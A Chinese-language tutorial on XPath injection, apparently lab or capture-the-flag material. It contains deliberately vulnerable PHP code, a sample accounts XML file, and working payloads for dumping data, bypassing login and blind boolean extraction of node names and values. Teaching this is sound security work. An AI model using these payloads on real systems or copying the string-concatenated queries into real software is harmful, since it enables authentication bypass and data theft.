0x01.XPATH

XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。
XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树种寻找节点的能力。

0x02.XPATH注入原理

XPath注入利用XPath解析器的松散输入和容错特性,能够在url,表单或其他信息上附带恶意的Xpath查询代码,以获得高权限信息的访问权

Xpath注入类似SQL注入,当网站使用未经正确处理的用户输入查询XML数据时,可能发生Xpath注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

0x03.XPATH和Xquery语法:

  • "nodename" -选取nodename的所有子节点
  • "/nodename" -从根节点中选择
  • "//nodename" -从当前节点选择
  • ".." -选择当前节点的父节点
  • "child::node()" -选择当前节点的所有子节点
  • "@" -选择属性
  • "//user[position()=2]" -选择节点位置

0x04.XPATH注入之常规注入

index.php:

<?php
if(file_exists('xux.xml')) {
    $xml = simplexml_load_file('xux.xml');
    $user=$_GET['user'];
    $query="user/username[@name='".$user."']";
    $ans = $xml->xpath($query);
    foreach($ans as $x => $x_value)
    {
        echo "2";
        echo $x.":  " . $x_value;
        echo "<br />";
    }
}
?>

正常查询:?user=user1
1.png

构造Xpath注入语句

user1' or ''='

此时的查询语句为

$query="user/username[$name='' or ''='']";

结果:
2.png

使用' or ''='只能获取当前节点下的数据,flag不在当前节点中
可以使用

']|//*|//*['

3.png

0x05.Xpath注入之登录绕过

login.php

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>tw@xx.com</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>

这时候如果输入x' or ''='就能实现登录(类似sql注入中的万能密码)

0x06 Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息

xpath盲注步骤:

  • 判断根节点下的节点数
  • 判断跟节点下节点长度&名称
  • ....
  • 重复猜完所有节点,获取最后的值

从根节点开始判断:

'or count(/)=1 and ''='    ###根节点数量为1
'or count(/*)=1 and ''='   ###跟节点下只有一个子节点

判断根结点下的节点长度为8:

x'or string-length(name(/*[1]))=8 and ''='

猜解出该节点名称为accounts

x' or substring(name(/*[1]),1,1)='a' and ''='
x' or substring(name(/*[1]),2,1)='c' and ''='
...

猜解accounts下的节点名称:

' or count(/accounts)=1 and ''='             /accounts节点数量为1
' or count(/accounts/*/*)>0 and ''='         /accounts下有两个节点
' or string-length(name(/accounts/*[1]))=4 and ''='        /accounts下第一个节点长度为4

accounts下子节点名称为user

' or substring(name(/accounts/*[1]),1,4)='user' and ''='
' or count(/accounts/user)=2 and ''='           user节点有两个

猜测第一个user节点的子节点

' or string-length(name(/accounts/user[position()=1]/*[1]))=8 and ''='      第一个user节点的第一个子节点长度为8
' or substring(name(/accounts/user[1]/*[1]),1,8)='username' and ''='        第一个user节点的第一个子节点为username
' or substring(name(/accounts/user[1]/*[2]),1,5)='email' and ''='           第一个user节点的第二个子节点为email
......

猜测第一个user节点下username的值

' or substring(//user[position()=1]/username[1],1,6)='Twe1ve' and ''='    第一个username的值为Twe1ve

其他的以此类推...